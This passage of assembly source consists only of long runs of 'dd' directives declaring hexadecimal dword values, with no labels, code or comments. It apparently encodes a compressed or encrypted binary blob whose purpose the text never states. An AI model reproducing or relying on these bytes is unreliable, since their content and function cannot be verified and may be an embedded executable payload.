63D632FDh, 7788823Bh, 0FB2F00AEh dd 77656C78h, 0EE005847h, 808DE1AAh, 1ECBB37Ah, 0D32770h dd 62F7ED97h, 0A1002E2Ch, 102D8449h, 0D6A469h, 0C23EA516h dd 0D37FD13Dh, 94DD2200h, 5B7C538Dh, 68FA00D0h, 0A4A6E96h dd 55008251h, 9BE27B98h, 4C28CEh, 0BFED0C91h, 3D2F3E18h dd 4EC1EF00h, 66810650h, 29420724h, 917DB34Fh, 2057A772h dd 9000C9E1h, 158109D7h, 14C772Ah, 0F96C16BCh, 0E8EF554Bh dd 0E00697Fh, 0F73F68B0h, 901EE9C9h, 7360383Ch, 0B39C3307h dd 675311CCh, 0EA4EDC16h, 86E08009h, 0DD21803Eh, 60D31F7Ah dd 7B539819h, 9303E8A1h, 0B80255Ah, 9AFE841h, 57BB0076h dd 0C2205652h, 7092E40Ah, 9E5ACA02h, 0A5737FFDh, 1380AF24h dd 0E4DFE8h, 8133DB49h, 0C3C842FAh, 82CC6E00h, 0B65160D9h dd 6540004Ah, 1FCD5D25h, 8F3C728Dh, 6478000Fh, 3AE799E0h dd 90EF1CAFh, 75938110h, 81395574h, 20BF09F8h, 67E50432h dd 602B46E0h, 370695Eh, 15003FFFh, 0A08A1859h, 7CAF3DA3h dd 4BFE0567h, 77F6C62h, 0A1379287h, 600BDA23h, 75008EB1h dd 2B20314Ch, 7A9F82DCh, 84E61C38h, 0CF2C4E4h, 0D8F0939Eh dd 0CD4962C8h, 0F9210118h, 17B278h, 43463296h, 6E6B2ABBh dd 0ADDAC200h, 0D7D56880h, 0A57677h, 3E4394EBh, 9BB528A9h dd 3600C2ECh, 0C1ED6175h, 978DA47h, 745E7DEAh, 0DEE50000h dd 20E27B1h, 0E1170Bh, 0A6991567h, 4AF60043h, 147B3E7Ch dd 2F00474Eh, 0CE692CC8h, 3B554D38h, 0FA805A95h, 0D1E0496Ah dd 0F03B2D64h, 0CFDE12AAh, 0C768A905h, 5365E844h, 0EFBA8E21h dd 35AB26B8h, 3BFD638h, 0D0458603h, 67FA094h, 0D8A30001h dd 20768FE8h, 92048B9Ch, 0BCEC87D3h, 44DF80D2h, 0ACE60A60h dd 94FCFDh, 6BEE08B9h, 6AC05560h, 2C48676Ch, 0F50B0494h dd 8DC21CD5h, 0B2288038h, 97219B24h, 0E0CE009Fh, 0B015C781h dd 6B26CC22h, 0C0332EEh, 0D82F3F03h, 0D2C258h, 0E4ABEAE3h dd 0C998A325h, 0F45A18E6h, 15A6A0h, 0B2BB59B7h, 2919D596h dd 8CB30200h, 565CE12Bh, 0E71E2CDEh, 36A8006Eh, 0E97B4361h dd 0D467B60Dh, 0A9C0D0A0h, 56501490h, 3050B435h, 0DB2600FFh dd 2FB48FFDh, 0DA0F0271h, 8092366Ah, 7AE03AE6h, 0A8DD748Eh dd 2537784h, 6692EB2Fh, 0E44AB3E8h, 82BD8C0h, 407EF490h dd 0DC2438B8h, 28803C6Fh, 39B16045h, 0E00C4488h, 0C28FD300h dd 2F7773CBh, 0E96729C4h, 0D57D80B8h, 6687953h, 5C1B7A1Eh dd 11F1E181h, 4521C06Fh, 1CAEE8C3h, 85C9004Eh, 0DDE4805Eh dd 0CE300F9Bh, 982ED087h, 33EF1CCCh, 478B4112h, 5026EED2h dd 810879F4h, 4B222703h, 0D809CD6Eh, 2E26F524h, 0EDE402h dd 0B94788B2h, 57006EF2h, 0AC9A05EDh, 129DD6Bh, 0C844657Bh dd 40C304F5h, 7709EF8h, 540001F2h, 0E7C07D17h, 3A7E1CACh dd 590AD0F0h, 988B2A2h, 0C414E6A9h, 0B5BEA109h, 0C2F480A5h dd 85938h, 2001057Eh, 3EB36F22h, 66B6CE12h, 9D3FBC00h dd 33A8AF3h, 0FDDA726Dh, 0F9B960EFh, 3B5181D7h, 803CE54Fh dd 0B8233561h, 9C281F21h, 7FF0D702h, 6016E3E9h, 5837184h dd 0C411AD27h, 70C8685Dh, 0C1E07E00h, 90BB6C07h, 227B0292h dd 1D015075h, 0FF6A78A2h, 0F2DF3010h, 0F8E51846h, 71F0D885h dd 624F7D0Fh, 0B538A097h, 7D5493D2h, 0CDE50F63h, 5300E6ECh dd 8ACB8BB2h, 33F3E701h, 0E54D949Ah, 0E8D16020h, 0AE60012h dd 240C8FCCh, 80A8B1BAh, 0CD2C6131h, 0DD806098h, 0A351104Ch dd 0D0441C32h, 0CA4A4087h, 0BCD91BFDh, 83C69801h, 0EC59DB45h dd 0CFA000FFh, 1FFA5CC9h, 69504FEFh, 0E21B6D0Ch, 0E869CD37h dd 1EAD684Bh, 40491006h, 55FEB42Dh, 5D004387h, 2F04CAA5h dd 3F73BBEFh, 0E8809CCDh, 5558F151h, 573FDA15h, 6FC50F5Dh dd 8B2EE0ACh, 0A603Dh, 78E9C0E2h, 7D7695FFh, 32309400h dd 91AFDA2Ah, 0F18A00D3h, 8707A63Ah, 65E47583h, 0F20FEC00h dd 0FC8141DFh, 2C4F05C5h, 81CFF15Eh, 17548B04h, 93BB1A90h dd 6877C1h, 0DF4EC326h dd 0FA9C9A94h, 45003090h, 0D44A9620h, 28B6DAEBh, 1A4132Eh dd 15C88AB7h, 0D865E5A0h, 707E63E3h, 1C1A2400h, 27C92681h dd 1F0F00E9h, 7C736C1h, 12006978h, 40301001h, 38C35D5Fh dd 3B1E91D5h, 265D2ED9h, 45FE0084h, 4DE16FC8h, 0D5448A1Dh dd 29CE7CC0h, 1A0D6A5h, 9655E893h, 0ECE13906h, 4F00F1D8h dd 481EC5EFh, 302A2C67h, 9A86DAFDh, 0DC0333DEh, 0F5157AC0h dd 18909DDFh, 0B9C5A9Eh, 0E6053B7h, 0AD374CA1h, 0B3943487h dd 6461E316h, 0F629C800h, 7BC134h, 4BCBF06Ch, 212F17FAh dd 68890613h, 1C2FC00h, 28E6449Fh, 0B06047h, 0C74B086Eh dd 0B2583B16h, 1D9113Eh, 839713E4h, 24C84FE0h, 0DED53B04h dd 20B50EF0h, 0C1E31D71h, 5BBBE82Ch, 33D4BFD0h, 69FBC0Bh dd 0B05F0007h, 6822B76h, 81A14FB9h, 0FB00D031h, 72FEA35Ah dd 24AE0C06h, 260D7C1Fh, 0ABCBC29Ch, 0F538F050h, 2F0F81EFh dd 0CED8BB91h, 48628040h, 0EC7A00CFh, 0EF871DB3h, 8E0F82D0h dd 0C04556A7h, 0E0DA22B5h, 0E50B2EDBh, 0A4A360A4h, 0E101600Ch dd 7FB27E85h, 8C24BAC5h, 46F30227h, 0DF4839A9h, 0DECEECE1h dd 1D0B006Ch, 78D15E8h, 0A6B0B3C4h, 0FE490469h, 82CF000Ah dd 5FA1B2B0h, 3A7289BCh, 38980F30h, 13657590h, 801EFCC1h dd 28E3C722h, 6B10AD00h, 0ED73FB92h, 0A6F4B915h, 0E7A05060h dd 90D0ED29h, 3046CD84h, 560C6042h, 13E89334h, 9707956h dd 71346370h, 0B8E6C502h, 43662E0Dh, 0C2ADE08Ch, 98630064h dd 0E50495E0h, 1100C5D9h, 3F374897h, 984B640h, 0D8613936h dd 0EE7CB80h, 441E426Bh, 2140DABBh, 4D066E1Fh, 5DEC0A63h dd 507C778Ah, 0CC034D62h, 8FF9AF9Dh, 2835E18Bh, 4AF474h dd 99DDB250h, 25C38D3h, 85574607h, 19917093h, 0C0FAF325h dd 1874F480h, 0E84C7115h, 670C9EEBh, 586D6428h, 0EE49042h dd 102AC979h, 0C0B52C45h, 0B0CBA3C0h, 5E33A901h, 0CE39476Eh dd 518D032h, 6222A9FEh, 0ECC38CA8h, 196BF630h, 7578F1EFh dd 0DF11C0B7h, 6C0C3C64h, 0C39D2214h, 0B1F600D4h, 8FBA9AB9h dd 73E3002Bh, 44EACE1Ch, 1F00D508h, 5BD409A7h, 60BC394Ch dd 0A01361C2h, 0C8B8EF96h, 0F0B99800h, 4B4CDE37h, 332A01DBh dd 2EC60556h, 0B343E096h, 3E099418h, 4A24229h, 9987BC0Bh dd 79C0C3E4h, 3C6CA8A8h, 0D40098FAh, 957D154Dh, 3E7E7613h dd 0CE8058DDh, 28E7E1B7h, 203539Dh, 7288F38Dh, 208B97D0h dd 954808D0h, 0B4FE0162h, 0F8478B9h, 8B13C824h, 0E0E9A600h dd 0DC20981Dh, 78760048h, 8C0A3DE4h, 531C666Eh, 9680434Ah dd 85F18B1Ch, 1FD702AAh, 9FFDC0BBh, 806427C2h, 8A8BB300h dd 0BA5DEEF5h, 4FA7B67h, 9793EBA0h, 0E7B4E0FEh, 60A4081Ch dd 8822D681h, 0E1D037A7h, 0AC3F0027h, 5E55F7DEh, 1F038197h dd 10426640h, 70BAD072h, 3C7E000Ch, 32B20E3h, 0BE0065CFh dd 0AA2CE58Bh, 5574F0h, 0D88F2F47h, 7D1CF348h, 82CCA700h dd 658A9CB4h, 0F6E800FAh, 0B1C88873h, 0E602493h, 0B7ABB888h dd 83989Bh, 716D123Fh, 5FBB6E01h, 8C341A00h, 0FB4BE8BEh dd 30EA182Bh, 48F9C173h, 0D93CB300h, 0C2457E55h, 0EA473AF1h dd 1C678286h, 4A079054h, 0A12DDF6Bh, 8D34AC51h, 0F271A9DCh dd 1E7500B9h, 0C1EFECFEh, 0E700586Dh, 0DE6C21F7h, 30C8465h dd 0FC398309h, 8EF81F41h, 0AC006DD0h, 0A05B86BCh, 0A650F1h dd 0EAD5B709h, 9A2B9598h, 49346A18h, 0EB8EA0h, 2AF58FADh dd 0D03DA263h, 765D5C03h, 0F2889EC3h, 0ED9A4097h, 8CB024h dd 0E6DEE46Dh, 0E3F9CC37h, 5B069800h, 9D3BE542h, 7A8238D8h dd 2BD0A80h, 224DF5E4h, 0B7400E0Bh, 6C24874Ah, 1DECCF90h dd 0A0523D71h, 83E0F51Ch, 8980CC51h, 88C620C8h, 0FFCA54Ch dd 0B371A6h, 81A3E806h, 0AF2600D4h, 59C3A0EBh, 5700AA47h dd 40AD0EEh, 2D686Fh, 16F46287h, 22F2B994h, 0AC4DEB00h dd 56E1E6F1h, 459D301Dh, 2D391FF8h, 6306E51Dh, 2F8BB481h dd 0EC20D03Ch, 0D72100B6h, 13E86B46h, 0EB01B878h, 9A4D5B67h dd 408F969Bh, 27C0B2AFh, 1C65409h, 58DF2007h, 0A1E02FBFh dd 0F6ECDCEh, 0F080317Dh, 911E7480h, 0E000C73Ch, 0BE2515B6h dd 3902927Ch, 9985BA24h, 0A42944h, 14360181h, 0F0B23812h dd 2BDC9C01h, 3E42F6B3h, 0B6073280h, 0BF6281FCh, 3AC8CA00h dd 7FE747BBh, 4387002Fh, 7B75B6D9h, 8907030Fh, 39DC5C3Fh dd 2536D500h, 1A0E019Eh, 0AC8EA36Dh, 9BD43081h, 200C7709h dd 0E4C000D0h, 2E3B9AF8h, 4034D90h, 809563B3h, 62F9EDBCh dd 423DB7E0h, 9ABE1Ch, 0D04D305Ch, 71B565h, 20CB2983h dd 704A54C2h, 117EAC00h, 2FBD3A78h, 7177D9Ch, 0D496BB18h dd 0C1F6E45Eh, 0D8E391C8h, 5B00CA23h, 4F97BF52h, 5C1806h dd 0FBD64285h, 0C8444DA4h, 9C1F2B00h, 0E1B33A6Bh, 97483114h dd 30B5C618h, 920421C0h, 6668DCAEh, 64A41684h, 5A080748h dd 633CC4D5h, 8D8035A0h, 5301FD72h, 3ED6DB0Eh, 82C45A6Fh dd 1BDE1CD9h, 22778092h, 49912CFDh, 7B810100h, 0F332663Ch dd 96CF7A84h, 0CEA800B0h, 28641E3Fh, 20A17B00h, 10BE0EFFh dd 22960070h, 29AB14C4h, 0E40015BFh, 1D77B01Eh, 0F24F52E6h dd 65AA004Eh, 27FB9FCFh, 0D10079B7h, 0B4E4D624h, 901FA3F8h dd 0C42D1E04h, 785B06C5h, 0EC781063h, 0B799748h, 0A0ADC12Ah dd 679F2B94h, 0B3440726h, 4012D77Dh, 0BD65834h, 0BACBC007h dd 3CC04CA8h, 967CCFh, 27C4EBF3h, 3470136Ch, 0A54980E5h dd 0F53AD208h, 21C561CBh, 0C3D6FE2Ah, 0EF246AC8h, 0C48675Dh dd 39AA8AE0h, 0C4D4072Fh, 408C470Ch, 67DC2B0Eh, 5AB9D1A0h dd 51926E00h, 0F6E58735h, 0D2190036h, 52EC66B4h, 1A181714h dd 0AAA869A0h, 0C12C0CDCh, 0A258BD8Ch, 0A6E6040Bh, 6138CF11h dd 801CF944h, 0DC405010h, 7BE829h, 0EE8DD263h, 539BADEFh dd 0EB5BF705h, 10C08A84h, 0F6E95Fh, 6393C56Dh, 32024E16h dd 89B24B00h, 4A5999B4h, 87DF1612h, 720079Fh, 0B4E584F3h dd 0BD01DAF8h, 42834789h, 30DBE8h, 0E5C3004Ch, 0EAB04ACDh dd 171D0660h, 0C6524337h, 0BC9CB204h, 0E09310C2h, 2312413h dd 0B75D7440h, 0B663B8C2h, 0BDC581D0h, 796A3404h, 6FC77D03h dd 0D7D1002Bh, 6625D0h, 42507647h, 0E0A9DE24h, 859FE204h dd 4B80F8C8h, 3A5BCE4Fh, 0E5007F49h, 0EDF270B1h, 0B50035D8h dd 0D77740Ah, 7882A676h, 89800ACh, 0C0D1D657h, 0AD00F25Dh dd 0D8145C3Ah, 0C932F33h, 1CACE5C1h, 55042D11h, 4149A8DFh dd 5C58C80h, 0B0C80946h, 6CA28A92h, 0A85020B1h, 9DC7D900h dd 1D6A39DEh, 48320041h, 261B5047h, 0EA03FB24h, 5BA06627h dd 5307C8FEh, 21010005h, 0A3B7F5FFh, 0FB15D8BDh, 0F4AA86h dd 7E1CAE5Eh, 6DB30Fh, 8A9BA23h, 3D92B1CBh, 5400AAFAh dd 36526D2h, 16245Eh, 0DAE97C1h, 0A73F6698h, 0CEA2BC00h dd 11F4BAFEh, 0C5DD0063h, 7160641Dh, 700720D9h, 0B9B62BE1h dd 383C6960h, 0A1F06C8h, 0B851065Fh, 33AF5400h, 0ABE613FAh dd 0BA886001h, 20EAF7AAh, 96B79500h, 43E5BD4Fh, 407C968Bh dd 0FF991B6Fh, 5FEE7400h, 3D12DDB1h, 0F766FA9Ah, 90F23AC8h dd 62BF00A7h, 2B2F0D47h, 0D00754FDh, 57413214h, 0B76540BFh dd 345EAAh, 749E1BDDh, 66140C73h, 0E4FFFA07h, 52F0B2B1h dd 1083E7h, 554C3C34h, 7A61F9EEh, 0BBDDB30Eh, 89C185DBh dd 1C690D80h, 0A1C51422h dd 3B00F096h, 31BA9D83h, 6C004FD0h, 70E949A3h, 0E1C3B5h dd 2FE2335Dh, 4DB18502h, 0FD268F05h, 0D04086A4h, 53E3ACD0h dd 0B2C500BBh, 0F34D4AAEh, 9A250263h, 44B800C4h, 670BEBFh dd 8CB92AA6h, 5E0019DFh, 52437ACEh, 1E26F55h, 0EE77F31Eh dd 945B19h, 1471A7h, 26DE3EBDh, 0D7ADEACDh, 4482B203h dd 0B076A050h, 0A9B302h, 6AB8AEE2h, 0B6D52FFh, 0E7FDE00h dd 2F67CE61h, 4B501D37h, 981E01B5h, 0E89E554Ah, 720EF726h dd 7EB0103h, 20596FF9h, 1A84AC68h, 0D02D500Bh, 0D9400A91h dd 67FC8799h, 953DD7F1h, 74B440EDh, 9346B319h, 70FA5D09h dd 0F16C009Bh, 92C53Eh, 14888CF3h, 208BAED9h, 62AC2100h dd 0C845382Ah, 13A107AAh, 80B06025h, 0D6BE96CBh, 0F0000B6h dd 6AA67F5Bh, 33E72D99h, 0F857EC00h, 0C50EA9CCh, 0CAFBD747h dd 1881C863h, 10871DADh, 98206EC1h, 92AE3977h, 0A8E86C80h dd 7D442B29h, 9619AB00h, 0DF905212h, 0A1E4FB22h, 8E9200A3h dd 0FCAD4E85h, 0D5004515h, 293EE3D2h, 2B1FECh, 0D07683Fh dd 0C9325117h, 3BBFA00h, 28F63E30h, 6DA9006Ch, 0CEF742C4h dd 10009A9Eh, 7C546167h, 7127ECAh, 0F03486E7h, 0A8431408h dd 0E0E93E90h, 0BBEC6BB0h, 0F03E48FEh, 0DA807000h, 1692ED32h dd 0FBE6900Fh, 3444E030h, 0FD69E83h, 5FF22CB5h, 0E6F46AE3h dd 0F87750B0h, 579BBE00h, 0DD17667Ch, 4CB600FDh, 0EE1D426Ch dd 94A0CADBh, 683E7986h, 0CE95h, 4806E4D0h, 44810111h dd 0D3178CE7h, 0EA67FC1Ah, 7C0A2A00h, 29F471E6h, 9F692EC2h dd 62A60BB5h, 48C07A8Eh, 3BE79DB8h, 0A5114618h, 9A5B60h dd 0F11A8166h, 0DE04D0AEh, 0D63C5200h, 67BDB72Fh, 79C8C0EDh dd 0BB1A2292h, 6A2C9A03h, 0E7F75D5Fh, 0D947606Fh, 3DF7BFFh dd 25840DE0h, 9D885415h, 577B19A2h, 635E02F4h, 0E6129840h dd 1687607h, 0A14609D9h, 6C22A36Bh, 55E2640h, 68B40C18h dd 0ECB6488Eh, 12D6650h, 54E1E423h, 8004C15Ah, 9DB48130h dd 0B109996h, 0BE46E2EDh, 3A64A300h, 72246D2Ch, 1B873C77h dd 28B04EA1h, 0C328CB1h, 9308AEF2h, 9C980C68h, 7507D0E1h dd 9A35D101h, 9D38FB4h, 0F6B9E4h, 76F760E8h, 9D28A9F4h dd 0EE6F1600h, 21E0DCFFh, 0C3E200B5h, 31EC8F84h, 0FC0033DFh dd 4A125C4Eh, 182F9C68h, 18D652CAh, 341480EEh, 0AC20E9h dd 89143F4Bh, 3B0C48Ah, 0FF6C640Bh, 0B7B106CDh, 0FDA020B8h dd 3EA04801h, 2405EA0Fh, 1D5A64D8h, 0C11BC057h, 82EEBE4Eh dd 0BA508022h, 0E1B49260h, 493E07E2h, 0A0BD440Ah, 0D3416C07h dd 0C6BA2200h, 0D826B67Eh, 82480136h, 12C0934Dh, 4AE93098h dd 903DC278h, 38ED8045h, 0DB694459h, 0BC8F0F1Ah, 0DAC0351Bh dd 0AC0BF931h, 0AB1D3A01h, 0DD461927h, 514030h, 0C5D0B54Ch dd 2310D35Fh, 0DB8EF600h, 30638CBFh, 0EE293A6Ch, 9680BC87h dd 2617D067h, 65092785h, 0C1DEF135h, 0C030F800h, 0F3D500F6h dd 4597AAA6h, 0D7007D74h, 6A9DD6A5h, 3162CCh, 0CEE2F7E7h dd 0B8FF2B5h, 0E863AB00h, 8AFC2EF8h, 2A2405A0h, 0D069F093h dd 94B54698h, 7CB80200h, 6875DF21h, 0E1500DBh, 3129D7A0h dd 0EE008A67h, 9070AACEh, 0B335Ch, 24A22FD8h, 69742335h dd 0FC4EBE00h, 888F8A3Ch, 0AF190013h, 0F56A1CB6h, 0C81DBC3Fh dd 2B40FECAh, 0EC6DF372h, 69C50194h, 0E53BE023h, 0E2168068h dd 5DC88B30h, 0BEC0066h, 8DDA73CAh, 9209911Eh, 81B0361Fh dd 5D6B53CBh, 3DF3870h, 89EF4CBDh, 0A381BA3Ah, 0A646F027h dd 11E81800h, 3814B51Dh, 491E1C78h, 8CD38Bh, 69AC103Bh dd 850F3571h, 8E87DB6Dh, 0DC1560BCh, 48D9A1B3h, 4200FCE3h dd 76011FACh, 5A775709h, 800FA03Dh, 77A885A4h, 229E61h dd 35935B6Ch, 0CB6308B8h, 0D9244412h, 0BCE2D090h, 1C8E0BADh dd 0BB001586h, 7DB3AEB7h, 0CF07EA7Dh, 242DFF61h, 73417BC7h dd 0E829652Ah, 67AB2B03h, 3000E426h, 34BC72D7h, 0E6A1358h dd 9F2CCBC0h, 9ED6FE40h, 8602A6A7h, 2583AF36h, 81059DAh dd 69B0ADBDh, 0B31431h, 78D923F6h, 0B0720B30h, 61576A00h dd 49546E32h, 79C4258Ch, 1A20208Fh, 6C257AB3h, 0C2E81300h dd 0B60E5E6h, 6BCD0058h, 7279CAD8h, 683E8A57h, 0ADA20064h dd 1EAF927Fh, 0A9C100A4h, 0E7CE8F20h, 0F4009062h, 47CD39B0h dd 843226h, 0C8DF5C72h, 9A4853AEh, 0C3BB6800h, 9800B5Eh dd 0CD791C1Fh, 204B409Fh, 0EA944C1Bh, 4DCBF900h, 0D7BBCA85h dd 75A90E53h, 5B6027E4h, 431DD689h, 544CB874h, 0C221DBFh dd 7623A901h, 4EE84D88h, 0B8FB2E85h, 0F12E023Ch, 4A60100Ch dd 24000180h, 1B481C1Dh, 39548525h, 269EB3D7h, 46D08FF2h dd 0D5D3100h, 0A87CB13Ah, 86C77F1Fh, 0C13900BEh, 0DAAFCFC0h dd 9FBE31DEh, 410DE218h, 682A1EC0h, 0C9A200F8h, 9539660Ah dd 9048D25Bh, 0C83FD694h, 488F7E09h, 119786C1h, 2E820C20h dd 401873DBh, 0E8014609h, 5FAC60A7h, 22DE00BDh, 65B3B2A3h dd 0BA74EC4Ch, 30482000h, 0DEB50C61h, 97BB096Ch, 0C21AF9Dh dd 8AA23AEh, 85520C55h, 537E1A43h, 0CBBAC21Dh, 0A05E3001h dd 1081EE2Dh, 764CE7F2h, 184FEC7Eh, 0E200D690h, 0D2106507h dd 66D159h, 0F3489943h, 4BDE2EEDh, 2F223100h, 0BF77A720h dd 0B4350074h, 60B16889h, 6A018373h, 811380A0h, 14E0632Eh dd 0E09217CFh, 595700AAh, 86F8737Dh, 0BC7BE701h, 4CA49831h dd 16EF70h, 6EC943E9h, 7AFC9508h, 803C2B3Ch, 6DEEB2Eh dd 7F37BF9h, 6EC50F44h, 8B0BC00Ah, 1A983F45h, 0CE06A400h dd 0C365BED6h, 0F22B1CAFh, 920FBCE1h, 0B60033EDh, 1131FA43h dd 3A393Bh, 0A8BAB34h, 18A044E0h, 180B5852h, 5A02AC3Fh dd 12CE04EFh, 399160B5h, 0D8AD0069h, 5D1A9F45h, 9C01E3F2h dd 1D41D304h, 18803F12h, 71BAC74Eh, 403950E2h, 5B1EF83Eh dd 0E03202Eh, 7AAF68ADh, 0CA940028h, 43974615h, 3A3E5CFDh dd 0B220C9Ch, 0F939D840h, 795044Ch, 0FD9D5B6h, 7CD83C98h dd 27802476h, 0AD0A01F6h, 28EAD8CAh, 9BB53090h, 63C9580Bh dd 0C145E4Eh, 0B8302569h, 0E1D3998h, 0D0801043h, 8CFC5C93h dd 0EE90012Eh, 50B051D5h, 6828500Ch, 52659386h, 0C01D4318h dd 29F29930h, 38E7337Ch, 0D0E15310h, 68604C2Ch, 63CD9103h dd 225227B3h, 4E1A12A8h, 591AB7h, 5C486490h, 89441E2Eh dd 0BE918A62h, 2D850248h, 7C91740Bh, 0C2845811h, 0EB7981F1h dd 23DE6EF1h, 589C1885h, 0BE842396h, 814414E9h, 0D7E5140h dd 48536CADh, 0B33CDCE1h, 49EA5831h, 92980DFCh, 0C01438D9h dd 0E8000574h, 0C8430C20h, 0C0F11E3Ch, 9DF2B681h, 27601D47h dd 0BC755D31h, 0AC910553h, 53E2E96h, 5163C50h, 0C066411Ch dd 2691C15Ah, 0C94B054h, 8DE83706h, 77101FAFh, 0EB4539C4h dd 0C8D19A02h, 84A710BEh, 0A9C7D030h, 0B80142D2h, 0B278B41h dd 1081F1C8h, 0BE142CFAh, 0F96110CFh, 7C1BFE68h, 47741F29h dd 0ACBE0DB4h, 1DC0369h, 6990C100h, 0FA8EDC0Ch, 6A462AC3h dd 0F3F881A0h, 49BE12C4h, 8201008Fh, 369E1589h, 2A98890Fh dd 410C2135h, 19FCC3B9h, 0ABC9083h, 61D2D0B3h, 8CBC0784h dd 0D7744027h, 0F3009019h, 0BABDB4A4h, 0EA12410Dh, 48816579h dd 0CF407CC2h, 3AD93F81h, 863B721Ch, 2A604819h, 6E079CD5h dd 8A295166h, 0C894B984h, 28E2AC1Fh, 0CA54D101h, 0BEBC9E10h dd 48124D44h, 0A81841F9h dd 9F8EB41h, 88CD1BC5h, 0D7E62C03h, 0C74AB00Bh, 4FAB066Fh dd 0D9402118h, 9029BB09h, 0A3D8F51Ch, 334EA0Ch, 0C9001BCBh dd 7588F201h, 4249B4h, 0B328BBE5h, 64E00F15h, 408A77Ch dd 1481B00Dh, 89848010h, 29890D9h, 0D3006777h, 1D946BF2h dd 0C39F9233h, 49628F30h, 575D46D8h, 0A749A01h, 8D70F051h dd 0AE4EB050h, 0CC5C00E6h, 87B13304h, 90FA29CFh, 20202D6Fh dd 24D7D883h, 2374CEh, 6D57B2D6h, 0DA89DBF7h, 0D1A9630Eh dd 20BFC133h, 6C402DD9h, 3A85A09h, 49FE847Bh, 23D0C603h dd 34002B5Dh, 81A9625Bh, 717ABEB3h, 86CD00BAh, 0B2B73F10h dd 0AC0677B9h, 29725DFDh, 31810089h, 3F7A82EFh, 476FC712h dd 181780C1h, 1451E629h, 0E4CB3353h, 0B88E5E80h, 800C1E7h dd 53C30AE8h, 1647FAFh, 0A960FFD7h, 0F8FC8EACh, 8339BA0Bh dd 0E610859Ch, 51E403F9h, 549B49BEh, 0D1A64901h, 80062A71h dd 588EB261h, 0B52C26h, 8D3652F0h, 3C646C08h, 0E516037Ch dd 48007DB8h, 0E747A542h, 0DF4600D1h, 0D98449B9h, 0BB2B6112h dd 7A7004F7h, 448D074h, 0F07B0CF1h, 0D180199Eh, 3EB21199h dd 0F1C7009Fh, 60F9BFFAh, 0A161E8FCh, 1E01CE1Ch, 21108F51h dd 3E20957Dh, 0FBD00F20h, 7CF32078h, 0CD347A93h, 9409ABD1h dd 1418A050h, 374C7BD7h, 784D69C1h, 0F7045801h, 61791C43h dd 417C1089h, 509AF214h, 6095102Fh, 8809E137h, 7870035Bh dd 7C3FFAF0h, 0C9558134h, 821C0411h, 8D2AF461h, 0C0908B4h dd 0BC233C11h, 10FA4C43h, 0D0077720h, 0C0509008h, 8E65F63Fh dd 5B570B4h, 7F0C5D5Eh, 63704CA0h, 1B28F408h, 9829F8A4h dd 177AFCA3h, 192AD604h, 9D28C0A1h, 9A000CD3h, 7897A5E2h dd 38DBD2CFh, 818A097Ch, 207BB9h, 9BB501EEh, 6230355Ch dd 0DBB1989h, 387666C7h, 0D318517Dh, 8A206F9Dh, 80A13009h dd 5B16C448h, 0A42E4400h, 599DAC3Ch, 0CF3224D6h, 470F839Ch dd 11AEF626h, 0FB07610Ch, 284E8ED6h, 734B738h, 0F03C6278h dd 0CA9B30A2h, 2C1DC0AEh, 0B640EB53h, 0B3597B72h, 3D8BE811h dd 0F480DC05h, 0D973F5DEh, 0B2600C13h, 7B9B3EA9h, 753D748Fh dd 7108CF5Eh, 9645D3A4h, 486748A0h, 7F407551h, 7E9949h dd 792EABE8h, 17292B7Ah, 0C2142603h, 0B1D7F439h, 8DE04490h dd 0BA8B2735h, 840C6FF6h, 374D973h, 882E774Fh, 85D0B667h dd 0B760B93Fh, 22FD8E8h, 0FDF703BFh, 953E0796h, 0B0038878h dd 0E400AC8h, 1F583FEh, 372CFB48h, 544B078Dh, 96D003B8h dd 1100A0FEh, 8297FB59h, 0EE1344h, 0C97AF473h, 0E623366h dd 712EBE03h, 6640FE8Bh, 8A0E1F1h, 0D62C9678h, 0F4006E8Fh dd 0D9EF2DE1h, 0D84D0FD4h, 3441483Dh, 8A7C0A62h, 0B009F521h dd 500B0D0Ah, 40A84814h, 0ACA05DB4h, 0C0806478h, 0F9DF0083h dd 2F127C81h, 0A8661442h, 0D170F550h, 0E1C0A848h, 3F7E03C1h dd 47046178h, 0F7FB13EFh, 90E2D304h, 42264464h, 0B8E57229h dd 195DF062h, 28331090h, 0FDD6004Fh, 0F563C61h, 99E0FC49h dd 0D8628901h, 184D46E0h, 30D43461h, 0C31072EBh, 2B9A7979h dd 7C3EBEC0h, 0D083F4A1h, 937BF9CFh, 8C1CAEF8h, 7EBC1FFAh dd 3D011818h, 1E59C8C8h, 0C0348D8Ah, 0D6619856h, 0DA490F7Bh dd 40673C50h, 0E04212B3h, 0A1C04A08h, 83203F90h, 85F5FA15h dd 0E97830B8h, 1260B004h, 51BD3549h, 0F90CD81Ch, 0D808FAD6h dd 888C8552h, 0FE1382ACh, 720FD6B7h, 1A9AFC43h, 0F4811C2Ah dd 8B618D66h, 304ED228h, 293AE035h, 933E2C01h, 49B2D681h dd 62017198h, 60437D48h, 0A2F130D8h, 0CE6F3591h, 0F25078EEh dd 4303088Dh, 598BEA15h, 801FED97h, 12C09818h, 32F801C6h dd 0D7DAA855h, 8A91987Ah, 888CC329h, 0DD30F89Eh, 0EFA390Ch dd 7888907Dh, 6258A88Dh, 41753F96h, 0F71E0C8Ah, 0FAA68E48h dd 0F0281Eh, 0DF26EC52h, 0AB9D8D0Ah, 0A454F703h, 0F079CA84h dd 2079E08h, 13423205h, 0B8407BADh, 9D0DF250h, 784E3571h dd 0E80FE808h, 53891574h, 4E038042h, 0FE8C4A18h, 0FB40C894h dd 0B0816498h, 88B1B3E1h, 9072D1A2h, 0F75A3980h, 32C75382h dd 6C009DF4h, 0F91183C3h, 0EE8DF16h, 8E34588Bh, 913CBD44h dd 949552B0h, 898C0E10h, 0FD9080AFh, 922BDA46h, 3BC31200h dd 27BB0696h, 521E8187h, 38F130C7h, 74F764A2h, 84660178h dd 78BA1BDh, 0C8C1A891h, 0EE0CBF7Ch, 109FF58Eh, 1B850010h dd 3BF85B49h, 0C8A9D514h, 7A243048h, 0C3E59400h, 193AB676h dd 0B20D768Dh, 58FA004Ch, 3CA9407Fh, 91F85ABh, 242CDC61h dd 90446C28h, 789A00A4h, 4063FA94h, 0FB3A028Fh, 216E30F5h dd 376E8C7h, 44B645C6h, 7C8990D7h, 0C4228E07h, 8C01DFF6h dd 898E1ABDh, 0CD7C60h, 5B3D49C2h, 3CA88FE3h, 88F39028h dd 160F44E2h, 67D240A5h, 201D6B5Bh, 32F48017h, 0E93488h dd 9E9303D7h, 0DDA59035h, 1F9BB301h, 1AB1D1EDh, 10EF048h dd 69873A47h, 0EDCA4485h, 0EA77CCA9h, 539F48h, 84315037h dd 0E0A0E46h, 637CF77Ah, 0D8E80856h, 0CAFDB980h, 